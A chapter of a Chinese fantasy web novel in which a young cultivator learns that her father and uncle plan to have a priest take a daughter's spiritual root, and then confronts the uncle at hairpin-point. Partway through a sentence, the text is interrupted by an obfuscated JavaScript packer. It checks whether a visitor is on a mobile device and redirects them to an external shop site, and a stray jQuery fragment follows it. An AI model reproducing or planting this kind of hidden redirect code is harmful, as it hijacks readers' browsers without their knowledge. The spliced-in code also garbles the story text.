卢广昭没有如卢冠修所想测出灵根,他大失所望,写信给卢冠文,请他再去求访三清观,却只得到了观主已外出云游的消息。
之后多年,卢冠修仕途再无进益,但仍做着观主能有法子用他女儿换他官场平步青云的美梦,与卢冠文保持着密切的联系。
柳怡予只盼着卢广昭及笄后嫁出去,再不叫卢冠修有任何念想。这些年,她始终担心身怀灵根的广昭如同惊雷,骤然灵气失控,在外头炸出些什么,让她瞒都来不及瞒,便只能拘着她在自己院中,避着那些卢冠修熟识的人家。
没想到还没到广昭出嫁的年龄,广灵突然归家,沉寂许久的卢冠修又有了动作。看到广灵,柳怡予总能想到当年那个章氏抱着孩子决然远走的画面。
她觉得,若是广灵又遭劫难,便是当年自己隐瞒广昭灵根造的孽,报应在了别人的女儿身上。想到这个,她便觉心碎,夜夜难安。
若想保下两个孩子,在柳怡予看来,只能求助于她身边本事最大的雾青。这些年,她发觉自己越发依赖这个当初叫人恐惧的妖怪,也在焦急的姿态下,答应了以杨府圈养的妖物来遮掩雾青杀死修士一事。
但此事她越发觉得怪异,听当日胡绥劭所言,许珉此人不像是会不自量力,独自挑衅妖物的那类修士,那雾青掏心的举动莫不是······
柳怡予心中转过千万思绪,开口道:“灵姐儿,你知道妖怪掏心,是为着什么吗?”
广灵没有犹豫:“常人的心脏对妖怪而言没有什么用处,掏心若不是寻仇,那便是要拿修士的心脏炼出某种妖丹。”
柳怡予心下一跳:“那你可知······尚未开始修炼的修士的灵根,若是拿出来了,能有什么用途?”
“尚未修炼的修士灵根未经沾染,最为纯粹。”广灵话锋一转,“您若是告诉我有关那妖怪的事,我就告诉您,那灵根有何用途。”
广灵大致猜出来了,卢夫人在乎的,便有人想要卢广昭的灵根,于是又坦诚地补了几句:“如有灵根却不修炼,无异于将珍宝藏于深阁蒙尘。倘若灵根被取走,亦无法久活。”
“若是卢夫人知晓有人妄图做下此等不义恶事,务必要告诉我,我会尽我所能阻止他。”
柳怡予听闻“亦无法久活”,心下一痛。她点了点头,自然愿意相信广灵一次,但必要以广昭的安全为前提。
于是,柳怡予决心先给她自己争取一点思考和观望的时间:“既然灵姐儿说得明白,我也想明白了,恶妖行事乖张,于东都、于人世都是祸患。然而他所求仍不明朗,我只怕其中还有隐情。望灵姐儿保护好自己,也再留那妖一些时间。”
广灵应了下来。接下来,她要的就是报酬了。
柳怡予将自己在卢冠修信中所见坦白给了广灵:“算算日子,这两日你大伯父该到东都了。他见多识广,总能知道不少事。”
说到这个大伯父卢冠文,广灵脑中灵光一闪。今夜,卢冠修房中的烛火到现在仍未熄灭,她原本以为是卢冠修和卢夫人都不敢入眠,但未必没有一种可能······或许,卢冠文已经赶到了东都。
谢过卢夫人,广灵悄悄挪到了卢冠修卧室的窗边,里面两人似乎谈到了僵局,广灵能听到他们的呼吸声,却不见他们说话。又等了一会儿,里头传出一个陌生的男音:“不能等了,得马上联系道长来取走,我们是控制不住局面的。”
卢冠修在片刻的沉默后开口:“我也去问过母亲的意思了,她不赞成这么做。当年她还是个孩子,还算不得是个‘人’,那便也罢了。如今都长这么大了,和她娘那么像,和我也那么像,我怎么下得去手?”
对方冷哼了一声:“我是不劝你的,这又不是我的仕途。你们母子都是暖心肠的,舍不得自己的孩子,倒叫我做坏人。”
“唉,我这些年也怀疑过,昭姐儿是不是也有······但每次看到怡予的眼睛,我都不敢再深究。”卢冠修的声音压得很低。
“你那好夫人,这个点还在祠堂,难不成是给你祈福?别傻了,我的好弟弟,谁都有自己的阴私欲求,就算你们每天躺在一处,也防不住她在背后算计你。何况,当年不是谁把刀架在你脖子上逼你同意的,你就说你是不是真的升了官,享到了十几年的福气。”
“可······”卢冠修不知该说什么。
“你要是不愿意,我现在就可以启程回去了。”内间传来悉悉索索的声音,他似乎准备起身,“我也恨啊,弟弟!”
“为什么当年考取进士的不是我?为什么我没有这样的机缘!你明明有更进一步的机会,却总是妇人之仁,放过一个又一个,叫我们卢家没能光宗耀祖啊!”
广灵凑得更近了一些,看到了烛光下卢冠文扭曲发红的面孔。听说他比卢冠修没大几岁,但看起来却苍老许多,此时在对命运的控诉下,更是气血逆行,连眼下的乌青都深了几分。
卢冠修扶额长叹,眼圈红红的:“好,都听你的······”
这下卢冠文的嘴角一转扬,连眉毛都带着几分得意:“我就知道,你是明事理的。”
他拍了拍卢冠修的肩膀,将他低垂的肩又拍下去几分:“道长都说了,此番若是你还犹豫不决,他就收走你现在所有的一切。这何尝不是一个机会,断绝过去的这些因果,以后又能好好做人。指不定这回,不生什么带灵根的姑娘,生出个大胖小子哈哈哈哈哈!”
卢冠文哈哈笑着推门离开,卢冠修颓然地倒在床沿。
这下,广灵没有什么不明白的了。卢冠文将自己的偏狭、嫉妒、贪婪都写在了面上,广灵能够读懂。反而是卢冠修这样心有欲求,坏事又干不彻底的人,倒叫广灵不知怎么看他。
在灵地,修士们大多清楚自己要什么,要不就是清心修炼,无欲无求,要不就是把对灵气、法器的欲望写在脸上,用尽手段夺取,很少能见到卢冠修这样的模糊地带。
难怪母亲不太喜欢东都,这样犹疑的人,她爱不起来,也恨不起来,只能把纠结苦楚吞进肚子里,扎伤自己。最可怕的是,她开始担心,自己从小便不太像母亲那样果决,会不会也带着些父亲的怯懦,会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17885893|212527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不会也存在这些写进骨子里的劣根性。
她的寻家之旅,好像快要结束了。找到最后,广灵发现自己既无法回到瞿家这样直白地撕裂彼此的家庭,也无法在东都这个侵吞彼此的家中找到一席之地。
还要向外求吗?还能向外求吗?广灵苦涩地笑了笑,化困惑为愤怒,情感先理智一步出手。
她拔下簪子,迅速跟上卢冠文,将银簪尖锐的头指向他的脖颈。
卢冠文吓得腿都抖了,但他发现是一个小姑娘后,又轻哼一声,反手抓住广灵的手腕,想掰开她,却发现掰不动,只在脑门急出了两行汗。
身为修士,广灵的体质和力气自然是寻常男子比不得的。银簪头上淌下几颗血珠,卢冠文闷哼一声,不敢再动,只能微微张开嘴巴问道:“你是谁?你要什么?”
广灵压低了声音:“你猜猜呢?”
恐惧吞噬了卢冠文,这么晚了,还在卢冠修门口蹲守他的年轻姑娘,又有这样的力气······他不敢往那个方向猜:“我不知道······你告诉我,你想要什么,我都答应。”
广灵笑了笑,怅然若失:“我想要的,你们都给不起,所以,我现在不要了······”
银簪又往里推了半寸,卢冠文几乎站不住:“求求你!求求你!我可以帮你说服你父亲不再打你的主意,我可以去给道长写信,我可以——”
广灵很少这样没有耐心,她也察觉到了自己的失控,但是一种虚空的情绪将她的理智吞噬殆尽,她只想在此刻,把人生中所有不幸的源头,归咎于眼前这个胆小、贪婪的男人。
但她的身后出现了一只手,一只粗粝的、温暖的、有力量的手,紧紧握住了她冰冷的掌心,与她角力。终于,她败下阵来,又似乎是放弃了,松开了掌心已将她的手勒出血痕的银簪。
卢冠文跌坐在地上,想往唯一的光源,卢冠修的房中爬去,却被眼前男人直直扫来的目光震住,连连摆手:“我不管这事了!这事跟我没有关系了!我这就走,我马上就回祁州,我保证再也不回来······”
他连滚带爬地逃出了卢府,只觉劫后余生。在回祁州的路上,还啐了几口。
眼瞧着这几年卢冠修一直没有往上升的动静,祁州那里的商户也慢慢不再唯他马首是瞻,卢冠文这才不断唆使卢冠修这个烂泥扶不上墙的,否则谁愿意管这个弟弟。唉,拿捏了章氏、柳氏,没想到偏这个初来乍到的小姑娘是个厉害的,往后还是不沾这家子的事才好保命。
广灵与胡绥劭静静地坐在卢府的屋顶上,看着卢冠文骂骂咧咧地在月色里走远了。在他即将走出巷子时,胡绥劭用巧劲朝他脚下掷出一颗石子,绊了他一脚,叫他摔了个四仰八叉。还没来得及站稳,卢冠文就闭上嘴巴,憋了口气朝远处跑走,生怕广灵改变主意追上来。
广灵终于咧开了嘴角。但胡绥劭不敢放下心,她现下的样子同先前的他,何其相像,又何其不同。
他知道广灵是让他愿意活下去的天光。但她是怎么想的?胡绥劭生平第一次,感到如此惶惑。